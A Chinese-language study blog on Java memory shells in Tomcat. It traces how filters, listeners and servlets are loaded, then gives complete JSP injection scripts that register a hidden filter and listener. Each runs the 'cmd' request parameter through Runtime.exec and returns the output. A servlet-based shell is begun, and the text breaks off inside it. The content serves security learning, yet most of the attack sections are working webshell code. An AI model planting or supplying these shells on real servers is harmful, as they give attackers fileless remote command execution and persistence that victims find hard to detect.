Java内存马

开启一个补漏的篇章,内存只是听说过还从来没有细细学过。本篇就记录下自己学习java内存马的过程。

1.前置基础

在开始学下之前我们先来了解什么是servlet容器,这里以tomcat为例。

web容器的概念参考:https://blog.csdn.net/hzk1562110692/article/details/94295947

tomcat原理参考:

https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09

https://tuonioooo-notebook.gitbook.io/performance-optimization/webrong-qi-you-hua/tomcatrong-qi-you-hua-pian/tomcatrong-qi-nei-bu-yuan-li

https://maishuren.top/archives/tomcat-zhong-servlet-rong-qi-de-she-ji-yuan-li

这两篇文章大致介绍了请求 响应流程

tomcat源码调试参考:https://blog.csdn.net/zhuiyisinian/article/details/105617138

这里参考https://xz.aliyun.com/t/13638 该文章以及tomacat原理参考中的第一篇文章详细记录下

我这里直接copyhttps://xz.aliyun.com/t/13638 这篇文章。但还是要结合上面tomcat参考的看一下更清楚流程。

Tomcat设计了四种容器,分别是Engine、Host、Context和Wrapper,其关系如下:

此时,设想这样一个场景:我们此时要访问https://manage.xxx.com:8080/user/list,那tomcat是如何实现请求定位到具体的servlet的呢?为此tomcat设计了Mapper,其中保存了容器组件与访问路径的映射关系。

然后就开始四步走:

  1. 根据协议和端口号选定Service和Engine。我们知道Tomcat的每个连接器都监听不同的端口,比如Tomcat默认的HTTP连接器监听8080端口、默认的AJP连接器监听8009端口。上面例子中的URL访问的是8080端口,因此这个请求会被HTTP连接器接收,而一个连接器是属于一个Service组件的,这样Service组件就确定了。我们还知道一个Service组件里除了有多个连接器,还有一个容器组件,具体来说就是一个Engine容器,因此Service确定了也就意味着Engine也确定了。
  2. 根据域名选定Host。Service和Engine确定后,Mapper组件通过url中的域名去查找相应的Host容器,比如例子中的url访问的域名是manage.xxx.com,因此Mapper会找到Host1这个容器。
  3. 根据url路径找到Context组件。Host确定以后,Mapper根据url的路径来匹配相应的Web应用的路径,比如例子中访问的是/user,因此找到了Context1这个Context容器。
  4. 根据url路径找到Wrapper(Servlet)。Context确定后,Mapper再根据web.xml中配置的Servlet映射路径来找到具体的Wrapper和Servlet,例如这里的Wrapper1的/list。

以上是参考别人的,下面用自己的话简单概括一下:

就是说连接器负责监听外界的请求然后将请求封装成servlet对象发送给engine在由engin的Mapper根据url等信息去调用context在去调用wrapper再去调用具体servlet

2.传统内存马

2.1Filter 内存马

filter 也称之为过滤器,是对 Servlet 技术的一个强补充,其主要功能是在 HttpServletRequest 到达 Servlet 之前,拦截客户的 HttpServletRequest ,根据需要检查 HttpServletRequest,也可以修改 HttpServletRequest 头和数据;在 HttpServletResponse 到达客户端之前,拦截 HttpServletResponse ,根据需要检查 HttpServletResponse,也可以修改 HttpServletResponse 头和数据。

工作原理如图所示:

在调试分析之前还是说一句能尽量看看tomact的源码分析就多看看。

首先看一下filter内存马用的主要几个方法:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml:存放 web.xml 中内容的类
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

下面我们写一个filter的demo看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.tomcat_demo_neicunma;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter()
public class filterdemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
System.out.println("init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("diaoyong filter");
chain.doFilter(request,response);
}

@Override
public void destroy() {
Filter.super.destroy();
}
}

在配置一下web.xml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--过滤器配置-->
<filter>
<filter-name>filter</filter-name>
<filter-class>com.example.tomcat_demo_neicunma.filterdemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
</web-app>

2.1.1访问filter之后的调用

然后我们直接打一个断点在dofilter中

开启调试,这里推荐看tomcat的分析,可以很详细的了解清楚在filter之后流程调用是怎么运行的。

这里我们自己跟跟跟进filter会进入ApplicationFilterChain类里的dofilter方法这里的Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断。

我们继续跟他会调用else里面的internalDoFilter方法跟进去看看

主要是要看一下这个filters

这里这个filters主要是用来存储我们自定义的filter对象和tomcat自带的filter的。

继续往下跟进发下获取出数组里的filter 然后调用filter的dofilter方法。然后我们在继续跟进的时候发现又会调用到ApplicationFilterChain类里的dofilter方法,这里可以去网上查一查具体我就不在继续跟了,自己解释一下就是filter是一条链会一个个获取filter然后执行filter里面dofilter方法直到最后一个

最后会调用到这里去调用servlet。

:::tips
最后一个 filter 调用 servlet 的 service 方法

上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。

最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 Servlet.service()

:::

这里参考:https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/#%E5%9C%A8%E8%AE%BF%E9%97%AE-x2F-filter-%E4%B9%8B%E5%90%8E%E7%9A%84%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90这个文章的解释

2.1.2访问filter之前的调用

还是同样的我们直接在自定义的dofilter方法里下一个断点然后看看是谁调用了该方法

通过idea的调用栈以及参考网上的分析可以看到是ApplicationFilterChain的internalDoFilter方法中调用了我们自定义的filter方法,然后继续向上寻找发现是ApplicationFilterChain下的doFilter调用了该方法,再接着向上寻找调用栈发现StandardWrapperValve类里面的invoke方法中的filterchain调用了doFilter方法

那我们继续看这个filterChain是什么

往上翻可以看到是ApplicationFilterChain调用了createFilterChain方法复值给 filterchain跟进这个方法看看

下面比较重要的就是箭头所指出的两个方法,获取filterMaps(filterMap 主要存放了过滤器的名字以及作用的

url)如下图所示

然后有一个判断如果我们没有编写filter方法也就是没在web.xml文件中配置filter对象、路径等等之类的,就直接返回filterchain对象去调用后面的servlet。

如果不为空的话就遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 想匹配,就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,看一下filterconfig数组属性包含filterdef、filter等

跟进addFilter函数

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

到这里其实就是相当于跟完了filter的整个调用链。来一张经典图

通过上面的思考我们能够想到如果我们想要插入一个内存马的关键点就在于StandardContext.findFilterMaps()和StandardContext.findFilterConfig(),我们可以来看看这2个方法的实现,可以看到都是直接从StandardContext中取到对应的属性,那么我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的:

实际上StandardContext也有一些方法可以帮助我们添加属性。首先我们来看filtermaps,StandardContext直接提供了对应的添加方法(Before是将filter放在首位,正是我们需要的),

这里再往filterMaps添加之前会有一个校验filtermap是否合法的操作,跟进validateFilterMap.

红色箭头所指的地方可以看到调用了findFilterDef方法闯入filtername跟进去看看

可以看到会根据filtename去寻找对应的filterdef如果没找到为空的话会报异常错误,所以我们除了往filterMap和filterConfig添加filter以外还向filterdef中添加filter的相关属性不过StandardContext直接提供了对应的添加方法:

最后我们再来看filterConfigs,根据命名规则搜索addFilterConfig,发现并没有这个方法,所以我们考虑要通过反射的方法手动获取属性并添加:

:::tips
这里做一个简单的总结:

1.根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称

2.根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig

3.找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain

4.filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

根据上面的简单总结,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell

:::

参考:http://wjlshare.com/archives/1529

2.1.3关于StandardContext、ApplicationContext、ServletContext

:::tips
通过上面总结及分析发现我们想要注入filter内存马需要获取standardcontex对象才能调用其中的方法进行注入。

这里直接复制别的师傅

关于StandardContext、ApplicationContext、ServletContext的理解

请参考Skay师傅和yzddmr6师傅的文章,他们写的非常详细,这里直接贴出链接:

https://yzddmr6.com/posts/tomcat-context/

https://mp.weixin.qq.com/s/BrbkTiCuX4lNEir3y24lew

引用Skay师傅的一句话总结:

ServletContext是Servlet规范;org.apache.catalina.core.ApplicationContext是ServletContext的实现;org.apache.catalina.Context接口是tomcat容器结构中的一种容器,代表的是一个web应用程序,是tomcat独有的,其标准实现是org.apache.catalina.core.StandardContext,是tomcat容器的重要组成部分。

关于StandardContext的获取方法,除了本文中提到的将我们的ServletContext转为StandardContext从而获取context这个方法,还有以下两种方法:

从线程中获取StandardContext,参考Litch1师傅的文章:https://mp.weixin.qq.com/s/O9Qy0xMen8ufc3ecC33z6A

从MBean中获取,参考54simo师傅的文章:https://scriptboy.cn/p/tomcat-filter-inject/,不过这位师傅的博客已经关闭了,我们可以看存档:https://web.archive.org/web/20211027223514/https://scriptboy.cn/p/tomcat-filter-inject/

从spring运行时的上下文中获取,参考 LandGrey@奇安信观星实验室 师傅的文章:https://www.anquanke.com/post/id/198886

:::

2.1.3.1编写demo

:::tips
如果我们想要写一个Filter内存马,需要经过以下步骤:

参考:https://longlone.top/安全/java/java安全/内存马/Tomcat-Filter型/

获取StandardContext;

继承并编写一个恶意filter;

实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中;

实例化一个FilterMap类,将我们的Filter和urlpattern相对应,使用addFilterMapBefore存放到StandardContext.filterMaps中;

通过反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中。

参考:https://tyaoo.github.io/2021/12/06/Tomcat内存马/

需要注意的是,一定要先修改filterDef,再修改filterMap,不然会抛出找不到filterName的异常。

:::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String filterName = getRandomString();
if (filterConfigs.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String cmd = httpServletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
out.print("[+]&nbsp;&nbsp;&nbsp;&nbsp;Malicious filter injection successful!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Filter name: " + filterName + "<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Below is a list displaying filter names and their corresponding URL patterns:");
out.println("<table border='1'>");
out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");
List<String[]> allUrlPatterns = new ArrayList<>();
for (Object filterConfigObj : filterConfigs.values()) {
if (filterConfigObj instanceof ApplicationFilterConfig) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
String filtername = filterConfig.getFilterName();
FilterDef filterdef = standardContext.findFilterDef(filtername);
if (filterdef != null) {
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (FilterMap filtermap : filterMaps) {
if (filtermap.getFilterName().equals(filtername)) {
String[] urlPatterns = filtermap.getURLPatterns();
allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中

out.println("<tr><td>" + filtername + "</td>");
out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
}
}
}
}
}
out.println("</table>");
for (String[] urlPatterns : allUrlPatterns) {
for (String pattern : urlPatterns) {
if (!pattern.equals("/*")) {
out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;shell: http://localhost:8080/test" + pattern + "?cmd=ipconfig<br>");
}
}
}
}
%>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>

这里需要分析一下context是如何获取的。直接参考W01fh4cker师傅的分析

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);

先是获取当前的servlet上下文并拿到其私有字段context,然后设置可访问,这样就可以通过反射这个context字段的值,这个值是一个ApplicationContext对象;接着获取ApplicationContext的私有字段context并设置可访问,然后通过反射获取ApplicationContext的context字段的值,这个值是一个StandardContext对象;最后是获取StandardContext的私有字段filterConfigs,设置可访问之后通过反射获取StandardContext的filterConfigs字段的值。

然后是这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);

也就是定义我们自己的filterDef和FilterMap并加入到srandardContext中,接着反射获取 ApplicationFilterConfig 类的构造函数并将构造函数设置为可访问,然后创建了一个 ApplicationFilterConfig 对象的实例,接着将刚刚创建的实例添加到过滤器配置的 Map 中,filterName 为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中。

需要注意的是,在tomcat 7及以前FilterDef和FilterMap这两个类所属的包名是:

1
2
<%@ page import="org.apache.catalina.deploy.FilterMap" %>
<%@ page import="org.apache.catalina.deploy.FilterDef" %>

tomcat 8及以后,包名是这样的:

1
2
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>

由于这方面的区别,最好是直接都用反射去写这个filter内存马,具体demo参考:

https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/tomcat/FilterBasedWithoutRequestVariant.java

还有个需要注意的点就是,我给出的这个demo代码只适用于tomcat 7及以上,因为 filterMap.setDispatcher(DispatcherType.REQUEST.name());这行代码中用到的DispatcherType是在Servlet 3.0规范中才有的。

通用内存马文章参考:

https://xz.aliyun.com/t/9914

https://mp.weixin.qq.com/s/sAVh3BLYNHShKwg3b7WZlQ

https://www.cnblogs.com/CoLo/p/16840371.html

https://flowerwind.github.io/2021/10/11/tomcat6、7、8、9内存马/

https://9bie.org/index.php/archives/960/

https://github.com/xiaopan233/GenerateNoHard

https://github.com/ax1sX/MemShell/tree/main/TomcatMemShell

2.2Listener 内存马

2.2.1 什么是 Listener?

Listener 是 Java Servlet 规范中的一部分,它提供了一种机制,使开发者能够编写监听器类来监听容器事件,并在事件发生时执行相应的逻辑。这样的机制使得我们能够在不修改源代码的情况下,通过监听器对现有应用程序进行扩展或增强。

2.2.2 Listener 类型

Java 提供了几种类型的 Listener,其中最常见的有以下三种:

  • ServletContextListener(上下文监听器):用于监听 Web 应用程序的启动和关闭事件。
  • HttpSessionListener(会话监听器):用于监听会话的创建和销毁事件。
  • ServletRequestListener(请求监听器):用于监听请求的创建和销毁事件。

2.2.3编写一个demo来学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@WebListener("/*")
public class listenerdemo implements ServletRequestListener {

@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequestListener.super.requestInitialized(sre);
System.out.println("chufa listener !!!");

}

web.xml配置

1
2
3
4
<!--listener 注册-->
<listener>
<listener-class>com.example.tomcat_demo_neicunma.filterdemo</listener-class>
</listener>

启动起来会触发,每一次请求都会触发

2.2.4调试分析

还是像前面分析的一样,看listener是如何调用执行的

这里参考在调用到listenerstart方法之前的跟踪和调用

https://drun1baby.top/2022/08/27/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-04-Tomcat-%E4%B9%8B-Listener-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/

在ContexConfig这个类的configureContext方法里的addApplicationListener加载了web.xml文件中的listener配置读取完配置文件之后standarcontext回去调用listenerStart方法

开始打下断点然后进行调试

我们直接找到listenerStart方法

可以看到该方法的第一行意思其实就是获取已经加载的listener也就web.xml中配置的监听器,接着往下看他对监听器做了一些分类有事件监听器和声明周期监听器等。紧接着我们看下面一段代码

红框中圈出来的这段代码就是在遍历getApplicationEventListeners()获取applicationEventListenersList中的值,然后再设置applicationEventListenersList,可以理解为applicationEventListenersList加上刚刚实例化的eventListeners:

这是getApplicationEventListeners方法的内容就是将applicationEventsListener转换成包含任意类型的对象数组。那这总结起来就一句话,就是Listener有两个来源,一是根据web.xml文件或者@WebListener注解实例化得到的Listener;二是applicationEventListenersList中的Listener。前面的我们肯定没法控制,因为这是给开发者用的,不是给黑客用的哈哈哈。那就找找看,有没有类似之前我们用到的addFilterConfig这种函数呢?当然是有的,

可以看到是有的。所以就可以通过获取standardcontext对象添加我们自定义的监听器

我们继续向后跟在调用到我们自己的监听器时发现是由fireRequestinitEvent方法触发的跟进这个方法看看

发现其会调用getApplicationEventListeners()并调用其中所有的ServletRequestListener.requestInitialized()

来总结一下:

Listener来源于tomcat初始化时从web.xml实例化的Listener和applicationEventListenersList中的Listener,前者我们无法控制,但是后者我们可以控制,只需要往applicationEventListenersList中加入我们的恶意Listener即可。实际上StandardContext存在addApplicationEventListener()方法可以直接给我们调用,往applicationEventListenersList中加入Listener。

所以我们的Listener内存马实现步骤:

  • 继承并编写一个恶意Listener

  • 获取StandardContext

  • 调用StandardContext.addApplicationEventListener()添加恶意Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%!
public class EvilListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().setCharacterEncoding("GBK");
request.getResponse().getWriter().write(out);
}
catch (Exception ignored) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);
out.println("[+]&nbsp;&nbsp;&nbsp;&nbsp;Inject Listener Memory Shell successfully!<br>[+]&nbsp;&nbsp;&nbsp;&nbsp;Shell url: http://localhost:8080/test/?cmd=ipconfig");
%>

关键代码分析

1
2
3
4
5
6
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);

前面四行代码干一件事:获取StandardContext;后两行干代码干这两件事:实例化我们编写的恶意Listener,调用addApplicationEventListener方法加入到applicationEventListenersList中去,这样最终就会到eventListener。

参考:http://wjlshare.com/archives/1651

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Listener%E5%9E%8B/

https://github.com/W01fh4cker/LearnJavaMemshellFromZero?tab=readme-ov-file#331-%E7%AE%80%E5%8D%95%E7%9A%84listener%E5%86%85%E5%AD%98%E9%A9%ACdemo%E7%BC%96%E5%86%99

2.3servlet内存马

2.3.1什么是servlet

先梳理下servlet的概念吧,在前置基础中也有介绍到,这里就简单叙述一下

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。

使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

Java Servlet 通常情况下与使用 CGI(Common Gateway Interface,公共网关接口)实现的程序可以达到异曲同工的效果,来浅看一下Servlet的架构图。

2.3.2编写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@WebServlet(name = "testservlet", value = "/testdemo")
public class servletdemo extends HttpServlet {


public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");

// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + "hello world" + "</h1>");
out.println("</body></html>");
}


}

web.xml配置

1
2
3
4
5
6
7
8
9
<!--servlet 注册-->
<servlet>
<servlet-name>testdemo</servlet-name>
<servlet-class>com.example.tomcat_demo_neicunma.servletdemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testdemo</servlet-name>
<url-pattern>/testdemo</url-pattern>
</servlet-mapping>

访问对应的路径会回显页面

2.3.3 调试过程

像filter和listener一样调试一下他的加载过程

这里参考https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/文章

我们知道 tomcat 在初始化的时候会加载web.xml文件,而在listener分析中我们知道web.xml文件是在ContexConfig类中的configureContext方法里加载的,这里我们看看该方法具体和servlet有关的

可以看到在箭头所指的地方加载了web.xml文件中配置的servlet的一些信息。然后就创建了一个Wrapper对象

然后就设置一些wrapper的属性。需要留意的一个特殊属性是load-on-startup属性,它是一个启动优先级。

设置完之后会将wrapper加入到standardcontex的child里。

然后下面会遍历web.xml文件中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMappingDecoded()添加servlet对应的映射

总结一下,Servlet的初始化一共有几个步骤:

  1. 通过 context.createWapper() 创建 Wapper 对象
  2. 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
  3. 设置 Servlet 的 Name
  4. 设置 Servlet 对应的 Class
  5. 将 Servlet 添加到 context 的 children 中
  6. 将 url 路径和 servlet 类做映射

看一下servlet装载流程 在loadservlet下断点

向上翻到standardcontex的startInternal()方法,可以看到,是在加载完Listener和Filter之后,才装载Servlet:

这里调用了findChildren()方法从StandardContext中拿到所有的child并传到loadOnStartUp()方法处理,跟到loadOnstartup(),可以根据代码和注释了解到这个方法会将所有load-on-startup属性大于0的wrapper加载(反之则不会),这也是为什么上文我们提到需要关注这个属性的原因:

根据搜索,我们了解到load-on-startup属性的作用:

:::tips
load-on-startup 这个元素的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法). 这个元素中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序. 当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。

:::

可以看到当未设置load-on-startup属性是,tomcat采用的是一种懒加载的机制,只有servlet被调用时才会加载到Context中。由于我们需要动态注册Servlet,为了使其被加载,我们必须设置load-on-startup属性。

根据上述的流程分析,我们可以模仿上述的加载机制手动注册一个servlet:

  1. 找到StandardContext
  2. 继承并编写一个恶意servlet
  3. 通过 context.createWapper() 创建 Wapper 对象
  4. 设置 Servlet 的 LoadOnStartUp 的值
  5. 设置 Servlet 的 Name
  6. 设置 Servlet 对应的 Class
  7. 将 Servlet 添加到 context 的 children 中
  8. 将 url 路径和 servlet 类做映射

参考:https://drun1baby.top/2022/09/04/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-05-Tomcat-%E4%B9%8B-Servlet-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/

2.3.4内存马编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Sentiment</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}

